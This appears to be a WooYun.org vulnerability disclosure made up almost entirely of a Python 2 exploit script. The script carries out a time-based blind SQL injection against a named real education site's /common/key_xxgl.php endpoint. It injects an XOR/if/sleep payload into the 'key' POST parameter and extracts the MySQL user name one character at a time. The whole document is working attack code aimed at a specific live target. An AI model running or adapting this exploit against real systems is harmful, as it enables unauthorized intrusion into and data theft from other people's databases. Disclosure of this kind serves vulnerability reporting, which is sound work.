WooYun.org

#encoding=utf-8
import httplib
import time
import string
import sys
import random
headers = {'Content-Type':'application/x-www-form-urlencoded'}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print 'Start to retrive MySQL User:'
user = ''
for i in range(1,13):
    for payload in payloads:   
   
        try:
            s = "mid(user(),%s,1)=%s" % (i, hex(ord(payload)))
            s = "aa'XOR(if(" + s + ",sleep(5),0))OR'bb"
            conn = httplib.HTTPConnection('yw.zjedu.org', timeout=7)
            conn.request(method='POST',
                         url="/common/key_xxgl.php",
                         body="key="+s+"&submit=%cb%d1%cb%f7",
                         headers=headers)
            
            start_time = time.time()
            print s
            html_contet = conn.getresponse()
            #print html_contet
            conn.close()
            print '>',
        except:
            user+=payload
            print '[user]:',user
            break